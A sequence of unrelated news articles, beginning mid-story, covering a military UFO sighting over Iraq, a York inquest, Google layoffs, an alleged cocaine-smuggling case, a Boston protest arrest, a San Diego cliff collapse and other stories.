There were also precise coordinates of where the image was taken in northern Iraq, but Corbell told DailyMail.com he removed them out of an abundance of caution to avoid the release of sensitive information.

CENTCOM forces have been deployed in the Middle East since 2014 to conduct military operations against ISIS.

DailyMail.com understands that Congressional intelligence and defense committees have seen the image and footage, as part of a briefing given by the Unidentified Aerial Phenomena Task Force (UAPTF), a previous incarnation of the government's UFO office.

In May 2021, Corbell published videos from the warship incidents that set social media ablaze

Still images and briefing slides from a video show a spherical object diving into the Pacific Ocean off the coast of California in 2019. Jeremy Corbell told DailyMail.com last June that the video shows 'FLIR [forward looking infrared] data' that is complimented by the radar footage

Corbell and Knapp said they will be releasing information, photos and videos in the podcast that they have been holding for 'years'

Corbell said that the briefing presentation was updated on shared classified intelligence servers on November 4, 2021, to encourage and inform reporting of UFOs by armed forces personnel  and that it has been shared with the wider intelligence community to keep them updated about UFO incursions into sensitive airspace.

He said the spherical shape of the object captured in Iraq is reminiscent of similar UFOs encountered by naval aviators operating on the US east and west coast every day, but is more complicated since it is occurring in an active conflict zone.

'For the first time, we are releasing a military-filmed image of a UAP over an active conflict zone,' Corbell said. 'This is an entirely different scenario to the east and west Coast incursions over training ranges.

'UAP [unidentified anomalous phenomena] pose significant risk to our service men and women, and this case highlights this  and is unfortunately not unique.

'This is not just about safety concerns to pilots and ground troops. Its potential consequences are far deeper. And the scope is now proven to be global.'

A source close to the military's current UFO investigations office, the All-domain Anomaly Resolution Office (AARO), said there are 'more cases like this one'.

'We have investigated a lot of UAP cases over the years and there are many more cases like this one. And this one was indeed part of the official UAP investigations by the UAPTF and now DoD's AARO. And it is still unresolved.'

Corbell added: 'No matter where UFOs are from, it is now openly admitted by our Department of Defense that they are appearing with an increased frequency worldwide.

'UAP, at minimum, pose a fundamental intelligence and combat identification problem that must be addressed.

'It's time to acknowledge the UFO problem, and I am hopeful that ARRO and its stakeholders will dedicate robust resources to this enduring mystery on behalf of the American and global public.'

This case has emerged following the approval by President Joe Biden of the Fiscal 2023 National Defense Authorization Act, which contains provisions relating to UFOs.

The House Intelligence Committee held its first public hearing on UFOs in 54 years where panel members grilled Deputy Director of Naval Intelligence Scott Bray (left) and Undersecretary of Defense for Intelligence and Security Ronald Moultrie (right)

One clip shown at the historic congressional hearing was taken from a Navy cockpit in a training area and shows a spherical object floating by the aircraft

This file video grab image obtained April 28, 2020 courtesy of the US Department of Defense shows part of an unclassified video taken by Navy pilots that have circulated for years showing interactions with 'unidentified anomalous phenomena'

One clause in the new law offers protections for any whistleblowers coming forward to congress in classified briefings to disclose any previously hidden programs on 'unidentified anomalous phenomena' involving 'material retrieval, material analysis' and even 'reverse engineering' and 'developmental or operational testing'.

In May last year Congress held its first hearing on UFOs in 50 years.

Corbell was named during the hearing as the source for footage of pyramid-shaped objects hovering over US Navy ships.

He gained notoriety after producing a popular Netflix documentary on Bob Lazar, who claims to have worked at the infamous Area 51 in Nevada on recovered alien spacecraft.

George Knapp, who reports for Las Vegas CBS affiliate KLAS-TV, became a noted figure among UFO enthusiasts after his first interview with Lazar in 1989, and has written books on the government's UFO programs. He has won two Peabody awards and other gongs for his reporting.

Corbell and Knapp said they will be releasing information, photos and videos in the podcast that they have been holding for 'years'.

The first episode, released today, includes audio of an interview with a naval officer from the USS Paul Hamilton who witnessed alleged UFOs swarming the ship in July 2019.

'It was actually coming from the west,' the officer told Corbell in the recording. 'Over water away from land, I mean like, the only thing we have over there is Hawaii, which is probably the closest thing west of us.'

Other witnesses say the alleged UFOs 'shot down beams of light', and swarmed several other ships that were also conducting exercises in the Pacific Ocean off the US west coast that month.

Last year the Pentagon said they had identified the craft as drones, but could not confirm where they came from or who operated them. Corbell's witness was skeptical of the drone theory.

'They would depart on different bearings that they would come in from,' the officer said.

'Pretty constantly, it would be a different bearing, which is weird right, like so if you deploy a drone to check something out, it would come. So that was something significant enough for us.'

Knapp and Corbell's first episode of Weaponized can be found here.
Mr Diatta's inquest was adjourned to a later date as all three men were bailed

He was allegedly restrained by members of public. Three men were arrested

A shopper who died after a disturbance at a high-end watch shop died from heart disease and being restrained, an inquest heard today.

'Gentle giant' rugby player Samuel Diatta collapsed outside luxury jewellery store Mappin & Webb in York.

The 39-year-old was allegedly restrained by members of the public during the incident on a Tuesday afternoon last July.

He was rushed to hospital but later died. Three men, two aged in their 40s and one aged in his 50s, were arrested and bailed.

Samuel Diatta's family said: 'Sam was a wonderful member of our family who will be greatly missed by us, his friends and family around the world. Sam was half Senegalese and his family in Senegal meant the world to him'

At an inquest opening, coroner, Jonathan Leach said Mr Diatta, from York, died of hypertensive heart disease and the effects of being restrained.

Northallerton Coroner's Court heard hypertensive heart disease is a long-term condition that develops over many years and linked to high blood pressure.

The inquest was adjourned to a future date.

In a previous statement, Senior Investigating Officer, Detective Inspector Steve Menzies said: 'A 999 call was received by police at 4.41pm and officers arrived at the scene at 4.46pm.

'Mr Diatta entered the store and became involved in an altercation with a member of security staff.

'This escalated resulting in the staff member being injured and Mr Diatta being restrained on the floor by a member of the shop staff and three members of the public.

'Upon police arrival, Mr Diatta was found to have become unresponsive, and emergency first aid was administered.

Mr Diatta, who was shopping at high-end jewellery store Mappin & Webb (pictured) died after an altercation in York

'Paramedics also arrived and continued to give Mr Diatta first aid at the scene. He was transferred by ambulance to York District Hospital, but unfortunately was pronounced deceased shortly after 6.40pm. '

'As with any unexpected death of this nature, a police investigation is required to establish the facts, to establish whether or not there is any criminality relating to the death, and to get the answers for Mr Diatta's family and for those involved in the incident, and for the Coroner.

'Four people have been arrested in connection with the incident so that they could be interviewed whilst protecting their legal rights.

'Two of the men, who are in their 40s, and a man in his 50s were arrested shortly after the incident, and a man in his 50s was arrested on 28 July.

'All four men have been released on bail whilst the police and medical investigations continue.'
A tattooed baby-faced Rebels bikie is looking for new pals to write letters to overcome boredom and keep himself busy while behind bars.

Samuel John Willmott, 23, has spent the last 13 months in jail after he was sentenced over the theft of $500,000 cash from a Perth backyard in a revenge plot against his friend's father.

A recent photo of Willmott dressed in prison greens at Bunbury Regional Prison 175km south of Perth showing off some of his distinctive tattoos and rat's tail emerged on the 'Australian Inmates Looking for Penpals' Facebook page last week.

The private group boasts 8,500 members and is for 'blokes and chicks looking for a pen pal with someone behind bars in Australia.'

Friends and family post in the group on behalf of inmates seeking someone to write to and maintain some contact with the outside world.

Samuel Willmott (pictured) was jailed shortly after this 2021 photo emerged of him flaunting his tattoos

'For my good brother, Samual (sic) Willmott,' a January 13 post reads.

'He's currently serving time at Bunbury regional med security prison (sic).

'All letters are welcomed, he just wants to past (sic) time, he's friendly. No crimes against women or children.'

Several women appeared keen to accept Willmott's offer for pen pals, The West Australian reported.

'I will lovely', one woman commented before adding pink love heart emojis.

Inmates who appear on the Facebook page must be incarcerated in Australia, single and 'absolutely no crimes against women or children,' according to group rules.

A recent photo of the Rebels bikie dressed in prison greens emerged on a Facebook page in his quest to find pen pals to pass the time behind bars

Convicted killers Daniel Zwerus and Daniel Marchesano have previously appeared on the page looking for pen pals, as has alleged bikie associate Adam Iustini.

Willmott first gained notoriety in late 2020 when the home where he lived with his parents was raided by police in the wake of the gangland assassination of Nick Martin at drag racing meet.

Shortly before he was jailed a year later, the young bikie showed off his new head and face tattoos while posing with a friend for a photo.

He has 'Rebels MC' along his left arm, '1 per cent' ink under his left knee and on his leg, the letters 'FTP'  which usually stands for 'f... the police'.

He also had '500K' tattooed on his face shortly before he was sentenced over the theft of $500,000 buried in a backyard in a revenge plot against his friend's father in 2018.

Willmott posted a photo of himself wearing Rebels insignia with his motorbike several months before he was jailed in December 2021

Willmott, aged 18 at the time, went on a spending spree with the stolen life savings, splurging on jewellery, cars, ute, dirt bikes, jet skis, a boat and luxurious stay at Crown Perth.

Willmott planned to continue his links with the Rebels when he was released from jail, according to a pre-sentence report.

Sentencing judge Linda Petrusa said Willmott had shown 'no genuine remorse'.

'This is not just a case of helping out a friend. You then both used the money to buy luxury items,' she said.

'The spending was all for greed; not need. You continued to spend money until you were caught by police. This offending is very serious.'

Willmott was jailed for two years and 10 months but could be able to apply for parole within months after the halfway mark of his sentence.

Once he's released from prison, Willmott must cover up his bikie tattoos in public under tough Western Australian laws.

Up to 12 months jail and a $12,000 fine applies to bikie members who break the law.
Australian Google employees may soon be posting their own tearful sacking videos after the tech giant admitted no country was immune to its mass sacking campaign after it fired 12,000 Americans.

The tech giant's parent company, Alphabet, shocked loyal US employees with an email announcing 12,000 people were being laid off last Friday.

That equates to around six per cent of the company's US workforce losing their jobs.

Google is the latest IT company to deliver a bitter pill to thousands of employees.

Meta (Facebook) let go of 13,000 employees in November, while Amazon sacked 18,000 two weeks ago.

America's Google employees received the brutal email announcement that 12,000 people would lose their jobs. Among them was vlogger Nicole Tsai who regularly posted TikTok videos showing the perks and luxuries available to staff

Google has begun mass sackings in the United States and it is expected Australian employees will be joining their American colleagues in the unemployment queue in coming weeks

Now Google has followed suit and is not expected to stop with job cuts in the US.

It is expected to continue delivering bad news, with country-by-country statements detailing staff cuts.

If the company were to cut the same proportion of Australia's 2,000 Google staff, 120 people would be fired.

The tech giants said they had made the cuts partly due to fears a recession will strike the US and Europe this year.

Amazon blamed 'uncertainty' in the economy.

Google's method of communicating the sackings - by email - and also the lack of support has attracted criticism for being 'impersonal' and 'lacking humanity'.

Google has long had a reputation for providing an enjoyable 'campus' style office environment

Things such as pinball and games were provided for Google staff to get immediate downtime in between work assignments. But there were no group hugs from management for the 12,000 people sacked in the US

The cold delivery of job loss announcement stands at odds with the apparently people-friendly workplaces - known as 'campuses' - that Google has provided to its employees or years.

Nowhere was this more apparent than with a young Los Angeles vlogger, Nicole Tsai, who had been uploading regular clips describing 'a day in the life' of a Google employee since December.

In the clips, she showed off the many unusually fun aspects of the google 'campuses', including everything from a giant indoor slide for staff to a DJ's turntable embedded in a kitchen bench, through to the food available to google staff.

One follower on TikTok asked if Ms Tsai's clips showed 'daycare for adults'.

Her latest 'a day in the life of' TikTok covered her own sacking.

'I woke up to the really ominous text from my boss,' she said.

She was directed by her boss to 'watch the news' then found herself locked out of all computer systems without warning.

There will be 12,000 fewer 'Googlers' using the tech giant's campus-style workplaces after mass redunancies began

Google is the latest IT company to deliver a bill pill to thousands of employees

'I called my boss back and we just sobbed over the phone. She was also finding out about my lay-off for the first time.'

Sundar Pichai, CEO of Google and Alphabet said the layoffs 'weigh heavily on me, and I take full responsibility for the decisions that led us here.'

He also attributed some of the losses to the development of AI technologies.

He said to 'fully capture' Google's 'early investments in AI' that 'tough choices' needed to be made.

'This will mean saying goodbye to some incredibly talented people we worked hard to hire and have loved working with. Im deeply sorry for that.'
Superyacht owner James Blake Blee, 64, was charged with importing a commercial quantity of a border-controlled drug, manslaughter, people smuggling, and knowingly dealing with proceeds of crime

A superyacht owner bragged to his aspiring actor son in an intercepted jail phone call that the story of their alleged $20million cocaine smuggling plot would make a great Hollywood movie.

Their alleged plan failed when the body of Brazilian diver Bruno Borges Martins, 31, floated to the surface in the Port of Newcastle, NSW, on May 9 last year.

Police believe he was trying to retrieve packages containing more than 50kg of cocaine from the ship's hull when he drowned before he could bring them to shore.

Superyacht owner James Blake Blee, 64, is in custody after being charged with importing a commercial quantity of a border-controlled drug, manslaughter, people smuggling, and knowingly dealing with proceeds of crime.

His son James Lake Kusviandy Blee, 21, is also facing drug importation and supply charges, and was earlier this month released on bail following his arrest in November.

According to a police factsheet seen by The Australian Mr Blee boasted to his son: 'When this is all over  this is going to be the best movie you can ever see mate.

'These guys come from three countries that are tied up in it: Indonesia, America and South America.'

It's believed a second Brazillian diver, Jhoni Fernandes Da Silva, allegedly involved in the drug smuggling operation remains on the run, as does a mysterious female accomplice.

The attempted smuggling of the cocaine haul is believed to have unravelled after faulty diving equipment was purchased.

His son, James Lake-Kusviandy Blee, (pictured) has also been charged over his alleged involvement in the $20million cocaine plot

Police were alerted to the failed drug import attempt after the body of a 31-year-old Brazilian scuba diver (left) was found floating near packed bricks of the drug (right) in May last year

Blee Senior had allegedly visited a string of diving shops to pick up equipment with Martins and Da Silva in the days before the operation was to be carried out, according to the police fact sheet.

The 64-year-old allegedly bought a rebreather, which would prevent any bubbles surfacing from the divers and allow them to avoid detection.

A shop attendant had allegedly shown Blee Senior how to change the batteries of the device after he told them a warning sign had appeared on it.

Blee Senior then allegedly told the store worker the problem was fixed.

He was also warned that a 'basic dive computer' he'd allegedly bought could not be 'used in conjunction' with the rebreather.

Blee Senior was later charged with manslaughter in relation to the faulty dive equipment he allegedly provided.

He was arrested in May last year and has been behind bars since, while his son who was arrested in November, was granted bail last Monday.

Blee Senior is seen being arrested in May last year over his alleged role in the cocaine plot

Blee and his son are allegedly involved in the failed plot to import 108kg of cocaine in the hull of a bulk carrier in May 2022 (pictured)

Police allege the father and son duo were involved in the attempted smuggling of a total of 108kg of cocaine.

In an intercepted phone call from Clarence Correction Centre, near Grafton, Blee is also heard warning his about prison life.

'You're going to go into culture shock, and the only way you can withstand the culture shock is  the only thing you can control is what's between your ears,' Blee Senior says.

'And you just need to remember that you're a fine, fine young man  and at some point this is going to get resolved to the positive and you can't let the environment affect you. It's going to be hard.'

While on bail, Blee Junior has to remain of good behaviour, report to police daily and reside at a Queensland address on a $50,000 surety.

There are also restrictions on his use of electronic devices and the internet.

Both Blee men are due to face court in February.
A man who became sick after a mission trip to India almost a decade ago is still in the grips of a monumental health battle, only managing to move in 15 minute blocks before becoming exhausted.

Matthew Mason, 37, from Athelstone, in Adelaide's east, contracted Lyme disease when he was bitten by a tick carrying borrelia burgdorferi bacteria in December 2013 in a remote part of India.

The debilitating illness has left him unable to participate in activities he used to enjoy such as attending church, working, and creating videos for his YouTube channel.

Even the simple act of walking has become a difficult task.

Matthew Mason (pictured), 37, from Athelstone, east of Adelaide, contracted Lyme disease when he was bitten by a tick in December, 2013 in a remote part of India

Mr Mason is only able to spend very little time each day looking at electronic screens, reading, or listening to audio, and can only manage a few 15-minute blocks of activity at a time.

He also has to live with his parents as he cannot work or live life independently.

'If I start to overdo it with activities, I get a tightness in my stomach, I can start sweating and start feeling very weak,' he told the Adelaide Advertiser.

Mr Mason said if he pushes himself, it can set him back for days at a time.

'Its just this really frustrating process of just trying to do all the right things, eat all the right things, get my mind in the right place,' he said.

Mr Mason did not show symptoms of the disease until 2015 - more than a year after he was bitten.

He said he 'crashed in 2015 but was not officially diagnosed with Lyme disease until the start of 2019.

Between 2015 and being diagnosed, Mr Mason said he visited multiple doctors in Adelaide but they were unable to figure out the root cause of his symptoms.

He said he was even prescribed antidepressants at one point, despite knowing he wasn't suffering from anxiety or depression.

Mattew Mason contracted Lyme disease when he was bitten by a tick carrying borrelia burgdorferi bacteria (stock image of disease carrying tick pictured)

'To the doctors it was a mystery illness so it was very frustrating sort of just going from doctor to doctor and not really getting any answers,' he said.

When doctors in Sydney finally diagnosed Mr Mason, the disease had infected his cells, rendering any antibiotic useless.

Lyme disease can be treated if it is discovered and diagnosed within the first six months of infection.

After experiencing another setback in his health, a close friend of Mr Mason's set up a GoFundMe to help pay for expensive treatments.

Friend Caleb Corneloup said Mr Mason had been 'severely isolated with very limited social interaction'.

'[He has] suffered the loss of many things including his job, finances, his fiance left him at his lowest,' Mr Corneloup wrote on the GoFundMe page.

Mr Mason is only able to spend very little time each day looking at electronic screens, reading, or listening to audio, and can only manage a few 15-minute blocks of activity at a time

In a recent update to the fundraiser on January 16, Mr Corneloup said his friend had an appointment at a specialist clinic where he would be starting treatment 'straight away'.

'Matt is so thankful to all of you,' he wrote.

Lyme disease is transmitted following the bite of certain types of ticks if they have been infected with particular borrelia bacteria, and are commonly found in parts of Asia, Europe and North America.

Related tick bites occur in Australia but these have not been shown to be infected with Lyme disease Borrelia bacteria.

Most cases of Lyme disease can be treated successfully with a few weeks of antibiotics, such as doxycycline, which are widely available in Australia.

If left untreated, Lyme disease can spread through the bloodstream and can cause infection in the brain, the heart, joint pain and long-term neurological symptoms.
A Sydney barber shop has found itself at the centre of a police investigation after it refused to let a vision-impaired mum and her guide dog inside.

Marilena Osborne was taking her son for a haircut at a barber shop in Jannali, in Sydney's south, two weeks ago when she was refused entry.

The single mother-of-two has 'very low' vision and relies on her guide dog Hamilton to help her navigate day-to-day life.

Single mother-of-two Marilena Osborne was refused entry at a barber shop in Jannali, south of Sydney's CBD, because of her guide dog (pictured)

Ms Osborne has 'very low' vision and relies on her guide dog Hamilton (pictured) to help navigate her through her day-to-day life. She described Hamilton as a 'calm and quiet' dog

Ms Osborne said she was 'shocked' when the barber turned her 'calm and quiet' guide dog away.

'I was deeply shocked, saddened and insulted,' Ms Osborne told 7News.

'I felt as though we were treated like second-rate citizens, I felt hurt, I felt rejected and felt extremely inconvenienced.'

Her son Lachlan said he was confused when they were turned away as their dog Hamilton is allowed 'anywhere'.

Under the NSW Companion Animal Act, guide dog users are allowed to enter all public places with their harnessed dog.

It is an offence to deny or charge a fee for the entry of a person with their guide dog.

NSW Police officers can issue on-the-spot fines of $330 and penalty notices of up to $1,650 for refusing entry to a guide dog handler.

The barber shop owner later explained he was 'scared' and did not allow Hamilton inside because he was bitten on the leg by a customer's dog a couple of years ago.

Ms Osborne said there was 'nothing scary' about Hamilton, who is very calm and quiet when he is working.

'There's nothing scary about this dog. He has been specially trained to pretty much guide me around the place,' Ms Osborne said.

The incident is being investigated by Sutherland Police after Ms Osborne reported it to officers.
President Joe Biden isn't going to let an FBI search that uncovered classified material at his Wilmington home throw off potential plans for another White House run, Whtie House Press Secretary Karine Jean-Pierre said Monday.

She got asked Monday about the FBI's search that uncovered the additional materials  following the discovery of items marked classified at the Penn Biden Center in Washington and another batch previously located in Biden's home.

Fox News correspondent Peter Doocy wanted to know if there was 'precedent for people running for president after the FBI searched their sock drawer?'  in a reference to the 13-hour search, which the White House counsel's office said included every room in Biden's home.

'Here's what the president's going to focus on. He's going to focus on continuing to deliver for the the American people. That's his focus. That's what he focuses on every day,' Jean-Pierre responded.

She was once again faced with a barrage of questions, in her first briefing since the Friday search, as a top House Republican demanded the Secret Service turn over visitor logs over who had access to Biden's property.

ress Secretary Karine Jean-Pierre was asked if Biden was 'surprised' at the new document discovery at his home, and whether he takes classified information 'seriously'

She was also asked whether Biden takes the matter seriously, which the White House has said repeatedly he does, despite the third document discovery.

'The president has been very clear that he takes this very seriously when it comes to classified information, when it comes to classified documents, and that his team has been fully cooperative with this legal matter,' she said.

She began with a boilerplate answer when asked if Biden still intends to run. He reportedly plans to kick off his reelection campaign after his State of the Union address next month.

'I'll just repeat what the president said after the midterm election, which is he intends to run,' she said. 'I'm not going to speak further to his process,' she added.

She at first dismissed Doocy's 'sock drawer' question, saying, 'It sounds like you already know the answer to that question.' He called an FBI search of a president's residence a 'big, big deal.'

FBI agents spent 13 hours searching Biden's Wilmington home

Biden intends to run for reelection in 2024, Jean-Pierre said, when asked about the recent document discoveries

Jean-Pierre was asked if Biden was 'surprised,' as the White House says he was at the initial discovery of material, which happened in November. She called it a legal matter and referred questions to the Department of Justice.

'I'm going to continue to be prudent from here. I'm going to continue to be consistent,' she said.

White House counsel spokesman Ian Sams, on his own press call on the documents, stressed that the search had been 'voluntary' and done at the invitation of the president's lawyers.

He called it an 'unprecedented offer for DOJ to thoroughly search the personal family home of a president of the United States.' He declined, however, to state the exact number of classified documents identified to date.

Biden lawyer Bob Bauer said in a weekend statement that the Justice Department 'took possession of materials it deemed within the scope of its inquiry, including six items consisting of documents with classification markings and surrounding materials, some of which were from the President's service in the Senate and some of which were from his tenure as Vice President.'

Doocy nearly got a rise out of Jean-Pierre by asking, 'When you found out that the FBI located even more Classified Materials in Wilmington, which four letter word did you use?'

'Oh my goodness,' she responded.

She was asked about Biden's initial comment that he was 'surprised.'

Asked if he did not know the documents were there, she responded: 'He said he was surprised that the documents were there. He said that and that he takes this very seriously. That's what I want to make sure that the American people understand,' before referring to DOJ.
Stunning video captured the moment a massive section of a cliff broke off and fell onto a San Diego-area beach.

The incident happened on Friday around 2.45pm when reports were called into local law enforcement about a 10-minute landslide involving major portions of the cliff.

According to a geology professor who spoke with local media, the collapse is the most notable and significant cliff failure in 40 years. It's unclear what caused the collapse but recent rain and other climate concerns could be contributors.

Estimates say the volume of the collapse is around 150,000 cubic yards.

According to a geology professor who spoke with local media, the collapse is the most notable and significant cliff failure in 40 years

The bluff collapse at Black's Beach in La Jolla - a small beachside town north of downtown San Diego - forced officials to close several trails in the area.

Luckily, no one was injured in the incident, according to the San Diego Fire-Rescue Department.

The video, taken by Phinney Cole, shows the moments humongous pieces of rock and cliffside break off and tumble down the cliffside and onto the beach below.

Another angle of the collapse showed the breakage hitting the beach from the front.

Witnesses told local media the force of the collapse was so powerful it cratered a portion of the beach and exploded upward.

They also said it happened relatively slowly, giving beachgoers time to get out of the way during the collapse.

In total, the collapse is estimated to be 250 feet wide and 25 feet high.

This is where the cliff collapse occurred Friday afternoon in northern San Diego

Estimates say the volume of the collapse is around 150,000 cubic yards

This is Black's Beach where the cliff collapse happened Friday afternoon

One geologist said the collapse is a continuation of one that happened almost 41 years ago to the day in the exact same spot

'This is the biggest landslide we've seen around here in many years, but its actually is a piece of an old one that didn't finish sliding,' said geologist Pat Abbott, a professor at San Diego State University.

Abbott said he believes the collapse is a continuation of one that happened almost 41 years ago to the day in the exact same spot.

He also said this isn't the first cliff in the area to experience a major incident.

'Five times since 1995, we've had sea cliff failures in San Diego County that have killed from one to three people each time,' Abbott said.

Scroll down for video of a collapse at Torrey Pines from two years ago:

'This is the biggest landslide we've seen around here in many years,' said Pat Abbott, a geologist and professor at San Diego State University

The professor said the collapses are most common from December to January and can be caused by a myriad of issues impacting beaches and shores.

'High sea cliffs, waves eating at the bay, gravity pulling on it constantly, less sand on the beach in the winter, highest tides -- all those things increase the probability of cliff failures,' he said.

California's recent rainfall totals, brought on by a series of atmospheric rivers, could have also played a factor in the collapse.

It's a fact that is worrying some residents who live nearby and enjoy hitting the beaches out of fear of a repeat incident.

'It's kind of concerning, I'm scared to go down there still,' said one woman who spoke with NBC 7 about the collapse.

'It's kind of concerning, I'm scared to go down there still,' said one woman who spoke with NBC 7 about the collapse

The cliff collapse come just days after another scary incident in the same area when a vehicle traveled off the road and dangled off a cliff.

The San Diego Fire-Rescue Department was called to the

'Very crazy scene,' said Tyler Mitchell, a witness who works nearby.

Mitchell told Fox 5 San Diego he saw the whole thing and called it 'nerve-wracking.'

'It was very worrisome at first because you just want to know,' Mitchell said.

'I didn't know how far it was off the edge, then I came down here and it was the front two tires off. It was a lot more nerve-wracking down at this view than up at my angle.'

A chief with the San Diego Fire and Rescue team said crews worked quickly to retrieve the passenger with the looming threat of high surf waves just beneath the car.

The chief said the driver was lucky to land where he did and that the situation could have ended very differently.

'Sheer luck the car landed where it was,' Battalion Chief Dave Seneviratne told Fox 5.

The man inside the car sustained minor injuries in that incident.
The daughter of a top Democrat in Congress was charged on Monday with graffitiing a Boston monument with the slogan 'all cops are b*****ds', flailing around during her arrest and smashing a police officer in the nose, giving him a nosebleed.

Riley Dowell, 23, appeared before a judge in Boston accompanied by her father, Rodney S. Dowell, a well-known local attorney and legal consultant.

Her mother, Katherine Clark, is the House Minority Whip.

Dowell, who was born male and transitioned to female, was arraigned under their birth name, Jared.

She pleaded not guilty to charges including assault and battery on a police officer and vandalizing a historic marker or monument.

Riley Dowell, 23, appeared before a judge in Boston on Monday after being arrested amid Antifa protests on Saturday night

Dowell is seen with her father Rodney (right), an attorney and legal consultant

She was released on the $500 cash bail she had previously posted, with orders that she stay away from the Common while the case is pending.

Dowell was one of around 20 Antifa protesters who took to the streets of Boston on Saturday evening.

A police report filed in the case, cited by The Boston Globe, said officers were on 'high alert' on Saturday, expecting an anti-law-enforcement demonstration in solidarity with 'Atlanta Forest Defenders'.

An environmental activist, who went by the name Tortuguita, was killed by police after officials said the 26-year-old shot a state trooper.

Dowell was released on a $500 cash bail she had already posted

Riley is pictured in between her father Rodney and mother Katherine, with brothers Addison and Nathaniel

Riley Dowell frequently shared photos on social media

Tortuguita died on Wednesday as authorities cleared a small group of protesters from the site of a planned Atlanta-area public safety training center that activists have dubbed 'Cop City.'

Clark said in a statement that her daughter's arrest was a 'difficult time.'

'Last night, my daughter was arrested in Boston, Massachusetts,' Clark wrote on Twitter.

'I love Riley, and this is a very difficult time in the cycle of joy and pain in parenting. This will be evaluated by the legal system, and I am confident in that process.'

Police allegedly witnessed Jared 'Riley' Dowell spray painting 'All Cops Are B****rds' and 'NO COP CITY' on a Parkman Bandstand Monument on the eastern side of the Boston Common on Saturday around 9.30pm

Katherine Clark's daughter Riley Dowell was arrested at an Antifa protests on Saturday night. Pictured: Clark and Dowell in 2016

Clark, who is the House Minority Whip, addressed the contention around Dowell's arrest calling it a 'difficult time'

Police said that the protesters surrounded them while Dowell was arrested, with some shouting profanity through megaphones.

'During the arrest, the protest group of approximately 20 persons began to surround the [officers] while recording the incident on their cellphones,' the report said.

'Many protesters were moving very close to officers in what appeared to be an attempt to interfere with the officers' lawful performance of their duties.'

The protest led to traffic coming to a complete stop as participants created a scene on the sidewalk, police said.

As one officer approached Dowell, she 'attempted to flee by flailing [her] arms, striking the officer,' police said.

After a brief struggle, additional officers placed Dowell in custody, the report said.

Dowell's backpack was allegedly 'found to contain the spray paint used in the incident,' the report said.

The injured officer was taken to a local hospital for evaluation.

Dowell, 23, was charged with Assault by Means of a Dangerous Weapon, Destruction or Injury of Personal Property and Damage of Property by Graffiti. Pictured: Clark and Dowell in 2018

The Parkman Bandstand Monument is a landmark bandstand on the eastern side of the Boston Common in Boston

Earlier this month, Clark spoke out about extremism in politics while pointing fingers at the GOP during the debate about whether to appoint Kevin McCarthy as Speaker of the House

Earlier this month, Clark spoke out about extremism in politics, while pointing fingers at the GOP during the debate about whether to appoint Kevin McCarthy as Speaker of the House.

Clark insisted the Republicans did not support the same values as Democrats, such as equal pay for women, according to Boston.com.

She claimed there was a disconnect between party leaders which was hindering Congress.

McCarthy failed to win enough votes to be elected as speaker for about two weeks.

'Unable to organize, unable to govern, unable to lead,' Clark said, according to the news outlet.

'Years of blindly pursuing power, currying the favor of special interests, and bowing to election deniers has left the GOP in shambles.'

'Let's look at the extremists who have taken over,' she continued.

Clark singled out Republican Representatives Lauren Boebert, Marjorie Taylor Greene, and Matt Gaetz.

'Let's stop with the campaign smears and tactics to get people to turn against us, even having my favorite president call us and tell us 'We need to knock this off.'

'I think it actually needs to be reversed.'
A political analyst for Fox News says he was asked to leave a North Miami restaurant while discussing politics with his friends over dinner because his views didn't align with the owners'.

Gianno Caldwell, 36, had been eating a meal with a group at Paradis Books and Bread when he was asked to vacate the premises.

'I can't believe what just happened. I met up with friends for breakfast at Paradis Books and Bread in North Miami & while we were having discussions about politics we were told by the owner that we were not welcomed there because we aren't politically aligned. Outrageous,' he explained in a tweet.

'No matter your politics you should not be discriminated against. I was discriminated against for being a conservative and told to leave a restaurant in North Miami because my politics didn't "align" with the owner. This is NOT okay,' he stated in a follow-up posting.

Gianno Caldwell, a political commentator for Fox News claims to have been asked to leave a North Miami bookstore and restaurant as he discussed politics with friends

The bookstore, which is owned by five friends, Brian Wright, Bianca Sanon, Sef Chesson, Ben Yen, and Audrey Wright opened in December 2021.

It has since closed its doors and the owners posted on Instagram that they were starting a winter break early due to the incident.

Caldwell has said the incident was a clear case of discrimination and the bookstore's actions were promoting a sort of political segregation reminiscent of the Jim Crow South.

'In 1963, Dr. Martin Luther King said: "Injustice anywhere is a threat to justice everywhere." My experience at Paradis Books and Bread in North Miami is a clear case of discrimination that should not be tolerated in Florida or anywhere in America,' Caldwell said to NBC6.

'Whether liberal or conservative, no one should ever be asked to leave a place of business for engaging in political conversation in a respectful dialogue. Paradis is promoting a sort of political segregation that hearkens back to the days of the Jim Crow South and runs counter to the restaurant's harm reduction policy.'

Caldwell explained in a series of tweets how he was discussing politics with friends and said the incident was a clear case of discrimination and promoting 'a sort of political segregation'

The bookstore stated that the group's behavior and language made other customers and staff uncomfortable and that they stood by their 'zero tolerance' policy.

Social media users were unimpressed by the restaurant's decision.

'Freedom of Speech seems to have become a subjective issue,' wrote Glenn D Stewart.

'I just saw this. I am shocked. Florida is supposed to be a conservative state. Sue sue sue!' tweeted Linda.

'Slippery slope when businesses invade the privacy of your conversation & feel some kind of way about your freedom of speech & kick you out. Remember the pendulum swings both ways & this country is headed towards political and racial segregation,' posted Lashaun Turner.

'It is time to introduce some Atifa type tactics for patrons of that restaurant and perhaps it is time to have it inspected for ADA compliance ...and for good measure a discrimination lawsuit is certainly in order. The owner needs to relocate to Seattle / no room in Florida for her.'

Plenty on social media were shocked by the reaction of the restaurant

The restaurant took time to explain its side of the story before ultimately suspending its social media accounts entirely.

'We experienced an incident in our space today and we feel that it is important to reshare our safer spaces policy that we have instituted since the very beginning.

'A group of people came in, ordered their food, sat in the inside corner, and talked quite loudly for over an hour. a lot of what they were discussing was very troubling, specifically when talking about women in degrading ways, as well as using eugenic arguments around their thoughts on Roe v. Wade. their behavior and their words made other folks in the space as well as the one of us working very uncomfortable.

'Once it was clear that they were finished with their meal, we told them that our views don't align, and that the language they were using was unwelcome in our space. one person in the group said "that is your business model, and i respect that". as a space co-owned by black folks and women, we firmly stand by our zero tolerance policy.'

The bookstore has since closed its doors and stated how they were starting their winter break early due to the incident

The restaurant took time to explain their side of the story before ultimately suspending their social media accounts entirely

Christian Caldwell, right, the 18-year-old younger brother of Fox News political analyst Gianno Caldwell, 36, left, was shot and killed on Chicago's South Side last June

Caldwell, center top, is seen with five of his brothers and nephews in a photograph from 2011

'Whats even crazier to me is I spent a big portion of time talking about getting justice for my brother & victims of violent crime in America then to be discriminated against by this white lady in 2023 because Im conservative is unfathomable,' Caldwell tweeted later on Monday.

His younger brother, 18-year-old Christian, was shot and killed in Chicago last June.

Caldwell, who has nine siblings, has been appearing on Fox since 2017.

